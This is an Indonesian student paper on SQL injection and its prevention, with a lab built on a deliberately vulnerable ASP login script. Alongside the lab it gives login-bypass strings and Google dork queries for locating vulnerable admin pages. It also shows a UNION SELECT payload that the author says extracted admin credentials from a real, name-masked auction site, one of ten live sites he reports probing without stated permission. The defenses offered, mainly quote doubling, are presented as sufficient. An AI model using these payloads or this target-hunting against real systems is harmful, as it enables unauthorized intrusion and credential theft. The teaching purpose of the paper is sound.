sql injection.pdf

28
Disusun untuk memenuhi tugas Mata Kuliah Keamanan Jaringan Komputer SQL INJECTION DAN CARA PENCEGAHANNYA Nama : Eka Yulianto NIM : 361061008 SEKOLAH TINGGI MANAJEMEN INFORMATIKA DAN KOMPUTER INDONESIA MANDIRI BANDUNG 2013

Upload: damoh

Post on 27-Oct-2015

336 views

Category:

Documents


5 download

DESCRIPTION

Sql injection

TRANSCRIPT

Disusun untuk memenuhi tugas Mata Kuliah Keamanan Jaringan Komputer

SQL INJECTION DAN CARA PENCEGAHANNYA

Nama : Eka Yulianto NIM : 361061008

SEKOLAH TINGGI MANAJEMEN INFORMATIKA DAN KOMPUTER

INDONESIA MANDIRI

BANDUNG

2013

KATA PENGANTAR

Puji syukur penulis panjatkan ke hadirat Allah Tuhan Yang Maha Esa,

karena hanya dengan rahmatNya penulis dapat menyelesaikan penyusunan

makalah tugas mata kuliah Keamanan jaringan komputer, yang berjudul metode

serangan sql-injection dan cara mengatasinya.

Rasa terimakasih yang tak terhingga, penulis sampaikan kepada Bapak

Teguh Wiharko selaku dosen mata kuliah yang telah membimbing dan

mengarahkan penulis sehingga tugas ini ini dapat diselesaikan, dan juga kepada

Semua pihak yang telah membantu dalam penulisan tugas mata kuliah ini.

Semoga Allah SWT senantiasa memberikan balasan dari semua kebaikan

dengan pembalasan yang sebaik-baiknya, karena sesungguhnya Allah SWT

adalah sebaik-baik pemberi pembalasan. Penulis sangat menyadari bahwa masih

banyak kekurangan dan kelemahan dalam laporan ini. Oleh karena itu saran, kritik

dan koreksi sangat diharapkan, demi kemajuan dan perbaikan yang berguna

dikemudian hari. Penulis juga mengharapkan Semoga Laporan ini bermanfaat

bagi kita semua dan merupakan amalan baik bagi penulis. Amien.

Bandung, Juni 2013

Penulis

BAB I

PENDAHULUAN

1.1 Latar Belakang

Dunia maya atau internet sekarang ini sudah banyak sekali bertebaran bug-

bug dari unicode para cracker-cracker yang tidak bertanggung jawab. Mereka ini

menggunakan berbagai tehnik hacking untuk mencari kelemahan dan merusak

pada sistem keamanan suatu jaringan. Salah satu dari tehnik tersebut yang sangat

membahayakan sebuah website yaitu SQL injection atau dikenal juga dengan

SQL insertion yaitu sebuah teknik yang digunakan untuk mengeksploitasi

database pada suatu websites dengan memaksa keluarnya error page situs itu yang

ada error pages itu terdapat info tentang struktur database website yang

dieksploitasi. SQL sendiri merupakan bahasa pemrograman database yang sering

dipakai para web developer maupun admin sebuah situs untuk menampung

ataupun menaruh data-data baru dari suatu input yang masuk seperti input

member login, search engine, dan lain sebagainya.

Sebenarnya SQL injection sendiri bukanlah hal baru, dari dulu teknik ini

sudah dikenal dalam dunia hacking sebagai salah satu teknik web hacking, namun

baru muncul lagi sekarang karena sifatnya yang dapat merusak database dari suatu

website. SQL injection ini sempat ramai pada beberapa waktu yang lalu yaitu

pada saat kasus bobolnya situs TNP KPU oleh salah seorang cracker Indonesia,

Dani Firmansyah.

1.2 Tujuan Tujuan dari penulisan makalah ini adalah untuk memahami bagaimana

SQL injection itu dilakukan serta mengetahui cara pencegahannya.

1.3 Metode Penelitian Metode Penelitian dari penulisan makalah ini adalah bersifat observasi dan

literature.

BAB II

LANDASAN TEORI

2.1 Pengertian SQL injection

SQL injection adalah kegiatan menyisipkan perintah SQL kepada suatu

statement SQL yang ada pada aplikasi yang sedang berjalan. Dengan kata lain

SQL injection ini merupakan suatu tehnik pengeksploitasi pada web apilikasi

yang di dalamnya menggunakan database untuk penyimpanan datanya. Terjadinya

SQL injection tersebut dikarenakan security atau keamanan pada level aplikasi

(dalam hal ini aplikasi web) masih kurang sempurna. Kurang sempurnanya adalah

pada cara aplikasi meng-handle inputan yang boleh di proses ke dalam database.

Misalnya pada suatu web yang terdapat fasilitas login, terdapat dua buah inputan

pada umumnya, yaitu username dan password. Jika karakter yang masuk melalui

dua buah inputan tersebut tidak difilter (disaring) dengan baik maka bisa

menimbulkan efek SQL injection, ini dikarenakan biasanya inputan tersebut

secara sistem akan menjadi bagian dari kriteria dari suatu perintah SQL di dalam

aplikasi web-nya. Secara garis besar terjadinya SQL injection tersebut adalah

sebagai berikut:

1) Tidak adanya pemfilteran terhadap karakter – karakter tanda petik satu ’

dan juga karakter double minus -- yang menyebabkan suatu aplikasi dapat

disisipi dengan perintah SQL.

2) Sehingga seorang Hacker dapat menyisipkan perintah SQL kedalam suatu

parameter maupun pada text area suatu form.

2.2 Default Setting SQL

Seperti yang kita ketahui bahwa tehnik SQL injection ini memungkinkan

seseorang dapat login kedalam sistem tanpa harus memiliki account. Salah

satunya yaitu default setting SQL. Default setting SQL yang paling berbahaya

adalah menggunakan adminID = sa dan password blank alias (kosong), apabila

ada direktori sebuah situs yang disitu ada input untuk adminnya maka kalau kita

isi id-nya dengan = 'sa' dan passwordnya =' ' maka kita langsung masuk sebagai

admin, ini kalau default setting-nya belum diubah. Namun ada lagi string yang

bisa kita input untuk akses sebagai web admin yaitu dengan string ' OR 1=1--

apabila ada input web admin yang input box-nya adalah User dan Password maka

apabila kita masukan string ' OR 1=1-- di input box user dan masukan foobar di

input box password, maka akan membuat SQL query-nya bingung diakibatkan

jadi SQL Query membacanya sebagai:

SELECT * from users where User ='' or 1=1-- and Password ='foobar'

yang artinya sqlnya men-SELECT semua query dari user yang user-nya ''

(kosong) atau (OR) 1=1 (true) -- (tanda -- adalah mark dari SQL seperti halnya di

C/C++ marknya // atau /*)

Gambar 1 : Contoh ilustrasi SQL injection Pada admin login area

Jadi kalau diuraikan logikanya adalah bahwa SQL-nya menganggap 1=1

sebagai true sehingga kolom itu di-bypass lalu kolom password-nya diabaikan

karena setelah 1=1 terdapat mark SQL ( -- ), sehingga password itupun diabaikan.

Lalu apakah hanya itu string-nya dalam menginjeksi sebuah situs? Tentu saja

tidak. Inti dari injeksi dalam langkah awalnya adalah memaksa keluar sebuah

error page yang berisi informasi struktur database situs itu dan kalau kita ingin

melihatnya kita harus men-debug-nya. Jadi yang kita masukkan adalah string

debugging SQL code, yaitu ' having 1=1-- , ini adalah string yang harus

dimasukkan kalau kita ingin melihat error page dari situs sasaran.

Sehingga dapat dikatakan bahwa teknik ini memungkinkan seseorang

dapat login kedalam sistem tanpa harus memiliki account. Selain itu SQL

injection juga memungkinkan seseorang merubah, menghapus, maupun

menambahkan data–data yang berada didalam database. Bahkan yang lebih

berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi

layanan kepada web server.

2.3 Mencari Target Situs web MS-SQL dengan ASP adalah situs yang paling rentan terhadap

serangan ini. Hal pertama yang dilakukan dalam pencarian target yang sudah tidak

asing lagi bagi kita yaitu buka www.google.com, pada kolom keywordnya

masukkan allinurl:.co.nz/admin.asp, atau allinurl:/logon.asp Keyword ini dapat

kita modifikasi ke berbagai bentuk .Penulisan allinurl perlu dicantumkan, dengan

begitu Google akan segera mencari semua URL dalam sebuah situs yang

mempunyai direktori /admin.asp. kita bisa saja mengganti keyword tersebut

dengan allinurl:.co.id atau net atau org, or.id, sampai allinurl:.fr/admin.asp semua

tergantung kemauan kita dalam mencari target menggunakan Google, dan yang

terpenting dari semua itu adalah kita harus tahu di mana harus menginput string

SQL tadi, misalnya di member login, user login, dan bahkan dapat pula di search

product dan lainnya.

2.4 Lokasi SQL Injection Tidak selalu pada setiap situs target, kita harus di-inject lewat input box-

nya. Kita juga bisa memasukan string-string SQL di URL situs target. Misalnya

ada sebuah situs www.xxxxxx.com/moreinfo.cfm?ProductID=245 lalu, ketikkan

string injeksi debuging SQL tadi ke address bar anda dibelakang url target itu,

salah satu contohnya: www.xxxxxx.com/moreinfo.cfm?ProductID=245' having

1=1-- atau juga kita dapat menghapus nilai produk dari URL tersebut dan ganti

dengan debugging codenya, sebagai contoh:

www.xxxxxx.com/moreinfo?ProductID=' having 1=1—. Apabila setelah itu akan

keluar sebuah error page dari situs itu, ini menandakan bahwa situs tersebut dapat

memberikan informasi tentang struktur database situs itu. Dari hasil informasi

tersebut, kita dapat melakukan serangan SQL injection berikutnya. Apabila

browser kita adalah Internet Explorer, ada sebagian situs yang tidak menampilkan

error-nya, ini dikarenakan opsi Show Friendly HTTP Error Messages diaktifkan.

Untuk itu kita perlu menonaktifkannya dengan cara menghilangkan tanda centang

di kotaknya. Opsi ini dapat anda temukan di Tools > Internet Option > Advanced

cari opsinya di bagian Browsing lalu hilangkan tanda centangnya dan klik tombol

Apply. Sesudah itu apabila anda menemui error page yang berisi HTTP 500 error

- internal server error- sebelum men-set opsi tadi, anda cukup menekan tombol

Refresh, lalu terlihatlah sudah error-nya. Setelah kita tahu struktur database-nya,

dengan pengetahuan dasar dari belajar SQL kita dapat menghancurkan database

itu dengan perintah ' drop database [nama_database] atau drop table [nama_table],

namun bukan ini yang kita cari dalam SQL Injection karena kita tidak dapat apa-

apa dari string tadi.

BAB III

AKSI SQL INJECTION

3.1 Praktik SQL

3.1.1 SQL injection sederhana (Bypassing User Authentication

System)

Sekarang kita akan membuat contoh mengenai kasus SQL injection yang

sampai saat masih sering kita jumpai pada situs-situs di internet. Salah satu

penyalahgunaan bug SQL injection adalah digunakan untuk mem-bypass sistem

login pada suatu situs. Contoh kali ini akan kita rancang sendiri sedemikian rupa

mulai dari merancang database, membuat script sampai melakukan SQL injection

terhadap script yang kita buat tersebut. Kita akan menggunakan MS SQL Server

sebagai databasenya, ASP sebagai scripting languange nya dan sembarang HTML

editor untuk membuat layar loginnya (penulis disini menggunakan MS

FrontPage). Penulis asumsikan Anda menggunakan MS IIS sebagai web server.

Siapkan MS IIS Anda dan juga MS SQL Server 2000 Anda.

Pertama-tama kita akan buat dahulu databasenya. Siapkan database

dengan nama sqlinject dan buat tabel di dalamnya dengan nama tbUser. Berikut

ini adalah struktur dari tabel tbUser melalui perintah SQL CREATE TABLE.

create table tbUser

(username varchar(50),

password varchar(50)

)

Isikan data ke dalam tabel tersebut dengan mengetikkan perintah SQL seperti

berikut ini.

insert into tbUser values

('sql','inject')

Sekarang kita sudah mempunyai sebuah database yang bernama 'sqlinject', sebuah

tabel yang bernama 'tbUser' dan tabel tersebut sudah diisi dengan satu buah row

data. Sekarang kita akan buat sebuah halaman login yang digunakan sebagai

interface web-nya. Penulis beri nama filenya yaitu login.asp. Bentuk tampilan dari

layar login ini bisa Anda lihat seperti berikut ini.

Setelah itu kita buat script untuk memproses login ini, penulis beri nama

login_process.asp. Code pada file login_process.asp adalah sebagai berikut. Untuk

koneksi ke database (SQL Server) penulis menggunakan metode SQL

Authentication, server pada localhost, username 'sa' dan password 'rahasia'.

<% option explicit %>

<%

dim connstring,conn,recset

connstring = "Provider=SQLOLEDB.1; Password=rahasia; Persist Security

Info=True; User ID=sa; Initial Catalog=sqlinject; Data Source=localhost"

set conn = server.createobject("adodb.connection")

set recset = server.createobject("adodb.recordset")

conn.open connstring

recset.open "select * from tbUser where username = '" &

request.form("username") & "' and password = '" & request.form("password") &

"'",conn,3,2

if not recset.eof then

response.write recset.recordcount

session("username") = request.form("username")

response.redirect "secured_page.asp"

else

response.redirect "login.asp"

end if

%>

Kita lihat pada code diatas terdapat operasi SELECT ke SQL yang

mencari username dan password dari tabel tbUser. Jika username dan password

yang dimasukkan benar maka akan masuk ke halaman secured_page.asp (ada

pada bagian akhir dari tulisan ini). Maksud dari halaman secured_page.asp ini

adalah bahwa halaman tersebut hanya bisa diakses jika Anda mengisikan

username dan password dengan benar. Anda tidak bisa mengetikkan URL

halaman tersebut secara langsung. Gambar contoh halaman secured_page.asp bisa

Anda lihat berikut ini.

Pada halaman secured_page.asp di atas terdapat sebuah link logout yang

mengarah pada dokumen logout.asp. Ini digunakan untuk melakukan sign-out

atau log-out dari halaman secured_page.asp dan menuju ke halaman login.asp

kembali. Code dari dokumen logout.asp adalah sebagai berikut.

<%

session.abandon

response.redirect "login.asp"

%>

Sekarang semua file sudah kita buat. Letakkan semua file tadi (login.asp,

login_process.asp, secured_page.asp, logout.asp) dalam satu folder dan jadikan

sebagai home directory pada MS IIS (web server) Anda. Hasilnya bisa Anda test

dengan mengetikkan URL yang mengarah pada web Anda tadi misalnya

http://localhost/login.asp.

Sekarang saatnya penulis akan menyajikan contoh SQL injection untuk mem-

bypass login. Tampilkan URL yang berisi login.asp tadi (misalnya

http://localhost/login.asp). Sekarang coba masukkan username 'a' dan password

'a', program akan kembali lagi ke halaman login.asp karena username dan

password tersebut salah. Sekarang coba sekali lagi, kali ini username 'sql' dan

password 'inject'. Karena username dan password benar maka Anda akan

diarahkan ke halaman secured_page.asp. Anda bisa klik link logout jika ingin

logout. Aktivitas tersebut adalah aktivitas normal pada suatu sistem pada login.

Bagaimanakah cara tidak normalnya? Kita memeriksa apakah login tersebut bisa

di bypass atau tidak dengan cara memberikan inputan tanda ' (single quote) pada

bagian inputan username dan masukkan sembarang string pada bagian password.

Jika Anda tekan tombol submit maka akan muncul error seperti berikut ini.

Error Type:

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Line 1: Incorrect syntax near 'aku'.

/login_process.asp, line 8

Error di atas merupakan error dari database SQL Server yang sebenarnya

menyatakan ada kesalahan pada statement SQL (akibat kita masukkan karakter '

tadi). OK sekarang kita akan mulai bagian yang lebih seru, kembalikan lagi ke

halaman login.asp. Coba masukkan string 'or 1=1 -- pada bagian username dan

masukkan sembarang string pada bagian password. Apa yang terjadi? Anda akan

langsung dibawa ke halaman secured_page.asp tanpa harus mengetahui username

dan password yang benar sama sekali. Kenapa hal itu bisa terjadi? Mari kita

pelajari pelan-pelan konsepnya berikut ini.

Penyebab utama kejadian di atas adalah karena karakter ' (single quote)

yang kita inputkan pada bagian username. Karakter ' (single quote) merupakan

karakter pemutus dari statement SQL dan dari sini bisa kita kembangkan untuk

membelokkan statement SQL asli menjadi statement SQL sesuai keinginan kita.

Mari kita lihat kembali kejadiannya. Misalnya kita masukkan string 'user' dan

password 'pass' maka statement SQL yang terjadi adalah sebagai berikut.

select * from tbUser where username = 'user' and password = 'pass'

Jalankan pada MS Query Analyzer maka hasilnya akan menjadi suatu zero

recordset dan tidak error.

Sekarang misalnya kita memasukkan karakter ' pada username dan string 'aku'

pada bagian password maka statement SQL pada database akan menjadi seperti

berikut ini.

select * from tbUser where username = ''' and password = 'aku'

Coba jalankan pada MS Query Analyzer dan akan muncul error seperti berikut

ini.

Server: Msg 170, Level 15, State 1, Line 1

Line 1: Incorrect syntax near 'aku'.

Server: Msg 105, Level 15, State 1, Line 1

Unclosed quotation mark before the character string '

'.

Kita lihat error yang pertama persis sama pesannya seperti yg terjadi pada

web tadi. Itu terjadi karena Anda melakukan pemotongan statement SQL dengan

karakter ' dan belum Anda selesaikan. Efek dari pemotongan ini akhirnya Anda

bisa menambahkan statement SQL Anda sendiri setelah karakter ' tadi. Sekarang

kita selesaikan pemotongan statement SQL tadi dengan menambahkan string or

1=1 -- setelah karakter ' tadi (jadi pada bagian username Anda ketikkan ' or 1=1 --

) sehingga sekarang statement SQL nya akan menjadi seperti berikut ini.

select * from tbUser where username = '' or 1=1 --' and password = 'aku'

Coba Anda jalankan pada MS Query Analyzer. Hasilnya adalah

menimbulkan suatu record set yang menampilkan semua data pada tabel tbUser

tersebut. Kita lihat lagi pada statement di atas. Karakter -- adalah karakter untuk

menandakan bahwa string setelah tanda -- akan di ignore atau dianggap sebagai

remark pada suatu statement SQL. Jadi sebenarnya pada statement di atas yang

dijalankan adalah sebagai berikut.

select * from tbUser where username = '' or 1=1

Jadi perintah di atas akan men-select username yang berupa blank

character dan kemudian di OR dengan suatu kondisi TRUE (dalam hal ini

diwakili dengan 1=1). Kondisi apapun jika di OR dengan keadaan TRUE maka

hasilnya akan selalu TRUE pula. Itulah inti dari kejadian di atas.

3.1.2 SQL injection 2 Ini adalah contoh dari serangan SQL injection untuk menyimpan user

password ke dalam plain text. Serangan sql ini dilakukan dengan menggunakan

Oracle *SQL plus. Sebelum kita mulai sebagai penjelasannya bahwa pada SQL>

ini atinya perintah diketikkan sesudah kata/statement SQL> tersebut. Selain dari

pada perintah yang diketikkan tersebut adalah suatu hasil proses dari perintah –

perintah yang telah dimasukkan.

Gambar 2. Oracle SQL * Plus

-- Filename: les01_ovw_attack_demo.sql

-- Created: October 2, 2007

-- Creator: Bryn Llewellyn (adapted by Jenny Tsai-Smith)

-- Description: Code sample with dynamic SQL and string concatenation.

-- Used to demonstrate SQL injection vulnerability.

-- Connect as HR in at least 10.2 before running this SQL*Plus script.

SQL>CONN hr

// perintah ini artinya kita membuat procedure untuk proses sebagai user login.

Enter password : *******

Connected.

SQL>SET SERVEROUTPUT ON

SQL>CREATE OR REPLACE

PROCEDURE User_Login

(p_Email Employees.Email%type DEFAULT NULL,

p_Last_Name Employees.Last_Name%type DEFAULT NULL)

AS

Stmt CONSTANT VARCHAR2(4000) :=

'SELECT Email

FROM Employees

WHERE Email = ''' || p_Email ||

''' AND Last_Name = ''' || p_Last_Name || '''';

// Pada kolom merah tersebut menandakan ini adalah dynamic sql statement yang

dibuat dengan penggabungan input –inputan nilai atau value yang mana ini

merupakan vurnerability yang bias kita injeksi. Pada statement local procedure

PL /SQL variable menyediakan string yang bisa diinjection.

v Employees.Email%type;

BEGIN

DBMS_Output.Put_Line ('SQL Stmt: ' || Stmt);

EXECUTE IMMEDIATE Stmt

INTO v;

DBMS_Output.Put_Line ('Logon succeeded.');

EXCEPTION WHEN OTHERS THEN

Raise_Application_Error(-20000, 'Logon failed.');

END User_Login;

/

SQL>EXEC User_Login('PFAY','Fay') // perintah dengan mencoba

mengeksekusi prosedur tersebut dengan PFAY, Fay value(yaitu memang

merupakan user parameter yang benar .

//Pada sesi percobaan ini login proses sukses (diterima).

SQL>EXEC User_Login('PFAY','bad password') / / Sekramg dicoba dengan

invalid value untuk parameter kedua ini.

//pada sesi ini proses login gagal

SQL>EXEC User_Login( ' ' ' or 1=1 and Rownum=1 --','somepassword')

// Ini adalah Perintah string SQL injection. (Pertanyaannya adalah apakah pada

sesi ini akan sukses ?).

// Ternyata sukses besar! Disini anda pasti bertanya-tanya mengapa hal demikian

dapat terjadi?

// Disini Sting telah terinjeksi…, dimana pada text string value pada parameter

pertama ini mengubah SQL statement. SQL tersebut akhirnya menguraikan

perintah ini, dan menafsirkannya kedalam database dimana email telah terinjeksi

atau telah tergantikan dengan nilai string ‘’ or 1=1, begitupula pada

lastnamenya. Secara detailnya pertama pada tanda petik pada perintah dibawah

ini tertafsikan pada SQLnya sebagai tanda kutip terdekat untuk nilai (value) suatu

email.

SQL>EXEC User_Login( ' ' ' or 1=1 and Rownum=1 --','somepassword')

kedua pada string or 1=1 disini tertafsir sebagai query condition, begitupula pada

rownum = 1 juga tertafsir sebagai query conditionnya.Ketiga pada tanda dash --

ini menyumbangkan suatu nilai sebagi suatu comment, yang akan

membingungkan sehingga pada lastname pun akhirnya akan tergantikan dan tidak

akan terevaluasi.

3.1.3 SQL injection 3 Seperti yang telah saya bahas tadi pada latar belakang bahwa bug-bug

SQL injection itu bertebaran di internet dan selalu up-date tentunya. Berikut akan

saya paparkan bug-bug tersebut.

Pertama kita tanya pada google : masukkan keyword ini

inurl:/subcat.php?cate_id=

Dengan ini google akan mencari pada internet situs-situs yang memiliki

cate_id tertentu.disini penulis pilih salah satunya sebagai contoh kasus saja (tidak

bermaksud untuk merusak).

Penulis memilih salah satu link pada google tsb, link yang didapat adalah sebagai

berikut:

http://www.**********.co.uk/auctions/subcat.php?cate_id=14&view=list

// nama site disamarkan demi menjaga nama baik site tersebut.

// Dapat anda lihat disini ternyata site ini telah di hacked oleh banyak orang ini

menandakan bahwa struktur pada database website ini sangat lemah.

langkah selanjutnya, setelah cate_id= di hapus saja kemudian di ganti dengan bug

berikut:-

1%20union%20select%200,concat(char(116,117,114,107,101,121,58),user_name,

char(116,117,114,107,101,121,112,97,115,115,58),pas

sword),2%20from%20admin/*&view=list

kira kira jadi begini

http://www.**********.co.uk/auctions/subcat.php?cate_id=-

// ada tanda min (-) sebelum 1

1%20union%20select%200,concat(char(116,117,114,107,101,121,58),user_name,

char(116,117,114,107,101,121,112,97,115,115,58),password),2%20from%20adm

in/*&view=list

// bug ini berfungsi untuk menampilkan error pada username admin dengan

menggunakan parameter-parameter angka tertentu, sehingga username admin dan

password admin dapat ditampilkan.

Sekarang dapat kita saksikan bahwa terdapat tulisan yang dilingkari tersebut, itu

artinya:

usernamenya admin

passwordnya fuCk

// ternyata website ini benar-benar telah di hacked oleh orang banyak ini

semakin membuktikan bahwa sistem pemfilteran bug-bug SQL injection tidak

terpasang pada database website ini. Sehingga seorang Hacker dapat menyisipkan

perintah SQL kedalam suatu parameter maupun pada text area suatu form dan

memudahkan mereka untuk men-defacenya seperti yang anda lihat pada gambar

diatas para hacker menuliskan nama-nama mereka, memungkinkan juga mereka

menghapus, maupun menambahkan data–data yang berada didalam database.

Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga

tidak bisa memberi layanan kepada web server.

Perlu juga kita ketahui tidak seluruh website dapat kita injeksi seperti

halnya pada website diatas, semua itu tergantung pada sistem keamanan yang

telah ditanamkan pada database website masing-masing. Survei membuktikan dari

10 website yang saya injeksi dengan bug diatas hanya 2 website saja yang

terinjeksi dengan bug tersebut. Contohnya pada website berikut ini:

//Dapat anda lihat pada website ini tidak terjadi penampilan error atau terjadinya

kerusakan – kerusakan lainnya, yang ada hanyalah kalimat peringatan untuk tidak

masuk secara ilegal. Dengan kata lain dapat dikatakan pada sesi ini pemfilteran

sql injection pada website ini telah baik.

Contoh lain pada website berikut ini:

//Terjadi penampilan error pada sqlnya dari sini para hacker dapat mempelajari

struktur database website ini, dan selanjutnya akan dimanfaatkan sebagai

kelemahan pada sistem untuk serangan SQL injection berikutnya.

Berikut saya tampilkan website yang juga telah menjadi korban SQL injection ,

sehingga website inipun akhirnya ditutup pada tahun 2006 lalu.

para cracker meng-inject database-nya agar string SMS tadi diberi nilai

dan bisa dipakai untuk mengirim SMS, sehingga seorang cracker tersebut dapat

mengirim sms sepuasnya. pada website ini www.yepcell.com. Situs ini adalah

sebuah situs dari Timur Tengah yang menyediakan jasa pengiriman sms ke

seluruh penjuru dunia dan menyediakan aksesori handphone seperti, ringtone dan

gambar.

3.2 Menanggulangi SQL Injection

Cara biasa digunakan untuk mencegah SQL injection adalah dengan selalu

memeriksa setiap karakter inputan yang masuk ke dalam database melalui

statement SQL. Misalnya pada kasus di atas kita harus mencegah karakter ' (single

quote) untuk di proses ke dalam database atau kita bisa mengganti karakter '

(single quote) yang masuk dengan '' (dua kali single quote). Adapun contoh script

login_process.asp yang sudah dimodifikasi agar mencegah SQL injection adalah

sebagai berikut.

<% option explicit %>

<%

dim connstring,conn,recset

connstring = "Provider=SQLOLEDB.1; Password=rahasia; Persist Security

Info=True; User ID=sa; Initial Catalog=sqlinject; Data Source=localhost"

set conn = server.createobject("adodb.connection")

set recset = server.createobject("adodb.recordset")

conn.open connstring

recset.open "select * from tbUser where username = '" &

replace(request.form("username"),"'","''") & "' and password = '" &

replace(request.form("password"),"'","''") & "'",conn,3,2

if not recset.eof then

response.write recset.recordcount

session("username") = request.form("username")

response.redirect "secured_page.asp"

else

response.redirect "login.asp"

end if

%>

Kita lihat pada code diatas maka pada inputan username dan password ada sedikit

modifikasi dengan mengganti dari request.form("username") menjadi

replace(request.form("username"),"'","''"), demikian juga untuk yang bagian

password. Sebenarnya masih ada cara lainnya untuk mencegah misalnya dengan

penggunaan stored procedure dan lain sebagainya. Hal tersebut akan disajikan

pada kesempatan yang lain.

.Banyak cara menanggulangi SQL injection, berikut secara garis besarnya

beberapa cara penangulangannya:

1. Query SQL

Untuk melindungi query SQL, kita harus menerapkan tehnik

sanitasi/mengosongkan seluruh input yang diterima dari request object ASP

seperti: Request, Request.QueryString, Request.Form, Request.Cookies dan

Request.ServerVariabbles. Teknik sanitasi ini sangat tergantung pada Relational

Database Management System.

RDBMS merupakan sistem yang multiuser. Oleh karena itu, RDBMS

menyertakan fitur sekuriti untuk mengontrol akses ke/dan penggunaan database.

Tujuan arsitektur sekuriti RDBMS adalah untuk melindungi dan memverifikasi

semua bagian informasi yang tersimpan dalam database. Informasi bisnis perlu

diverifikasi untuk memastikan bahwa tidak ada data yang berubah.

Contoh penanganan MS SQL Server seperti dibawah ini.

Dalam sebuah halaman login, script semestinya terdiri dari dua variabel

(txtUserName, txtPassword) dari jenis string yang dilewati. Saat sebuah tanda

petik tunggal (’) dimasukkan dalam sebuah parameter, hal ini mengijinkan user

untuk memanipulasi perintah yang dieksekusi. Untuk menghadapi ancaman SQL

Injection, hindari penggunaan tanda petik tunggal (’) dengan menggunakan fungsi

REPLACE, seperti dibawah ini:

p_strUsername = Replace(Request.Form(”txtUsername”), “‘”, “””)

p_strPassword = Replace(Request.Form(”txtPassword”), “‘”, “””)

Contoh yang kedua, script diharapkan adalah sebuah variabel (ID)

jenis long integer. Perintah SQL yang tidak diotorisasi dapat

mengeksekusi dengan menambahkan perintah SQL ke dalam parameter

ID. Untuk mengatasi hal ini gunakan input untuk Long Integer dengan

fungsi CLng sbb:

p_lngID = CLng(Request(”ID”))

Jika user mencoba melewati suatu string, fungsi CLng akan menampilkan

pesan error.

2. Error message (Pesan Error)

Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL

Server yang berjalan. Bisa juga dengan cara mengganti pesan error message

karena hal ini seringkali digunakan oleh sang attacker untuk menelusuri

informasi jalur penyimpanan database. Contoh codenya:

Sub LogError(strLocation)

Dim objFSO ’sebagai Scripting.FileSystemObject

Dim objStream ’sebagai Scripting.TextStream

if Err.Number = 0 Then Exit Sub

WriteLine “<p><font color=#FF0000><b>”_

& “ERROR.”_

& “Please try again later or contact webmaster.</b></font></p>”

Set objFSO = Server.CreateObject(”Scripting.FileSystemObject”)

Set objStream = objFSO.OpenTextFile(”C:errorlog.txt”,_

ForAppending, True)

ObjStream.WriteLine Now() & “: [" & Request("SCRIPT_NAME")_

& " - Err #" & Err.Number & "]” _

& Err.description & “[Lokasi: " & strLocation & "]“

ObjStream.Close

Set objStream = Nothing

Set objFSO = Nothing

Response.End

End Sub

3. Permisi

Batasi permisi hanya pada user yang terotorisasi saja. Sang user tentu

saja harus yakin bahwa data yang dia terima sudah akurat dan tidak ceroboh

memodifikasinya.

4. Panjang Input Box

Batasi panjang input box (jika memungkinkan), dengan cara

membatasinya di kode program, jadi si cracker pemula akan bingung sejenak

melihat input box nya gak bisa diinject dengan perintah yang panjang.

5. Filterisasi

Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip

tunggal (Input Validation).

BAB IV KESIMPULAN

SQL Injection merupakan teknik hacking paling populer pada aplikasi web

dengan prinsip melewatkan perintah-perintah SQL lewat aplikasi web untuk

dieksekusi oleh database back-end. Kelemahan akan muncul apabila inputan user

tidak disaring/difilter dengan sempurna dan akhirnya dieksekusi. Oleh karena itu

diperlukan suatu pengamanan yang extra hati – hati pada SQL statement pada

database yang ada pada suatu website-website kita, agar perintah-perintah SQL

injection tersebut dapat disaring dengan baik. Demikian halnya dengan Setting

server dengan benar memang akan mengamankan e-commerce web dari serangan

deface, akan tetapi bukan berarti semuanya sudah aman sekarang. Situs e-

commerce yang menggunakan Microsoft IIS juga menggunakan database access

dengan Micosoft SQL server,dimana MS SQL server tersebut mempunyai

kelemahan yang memungkinkan seseorang tanpa account dapat masuk dan lolos

verifikasi dari MS SQL server..Hal ini yang jelas dapat merugikan sekali, sebab

bisa saja data sensitif seperti nomor kartu kredit serta lainnya bocor! Pada saat

seseorang berusaha masuk ke situs e-commerce, biasanya akan disambut dengan

halaman login yang mengharuskan pemakai memasukkan login name dan

password.

Semuanya tergantung dari kita bagaimana cara kita untuk selalu turus

update dalam penanganan masalah ini. Karena tentunya para-para cracker tersebut

selalu mengembangkan bug-bug mereka untuk dapat menemukan lubang-lubang

pada jaringan kita. Oleh karena itu sebelum kita menjadi defender yang kuat,

alangkah baiknya kita mengetahui dan mempelajari terlebih dahulu serangan-

serangan para cracker tersebut, serte kita bisa menjadi hacker pada sistem kita

sendiri.

DAFTAR PUSTAKA

1. http://www.nextgenss.com 2. http://st-curriculum.oracle.com/tutorial/SQLInjection/index.htm 3.http://www.ilmuwebsite.com/detil_hacking/7/SQL_Injection_AJ_Auction_seluruh_ versi/" 4. Hacking Exposed book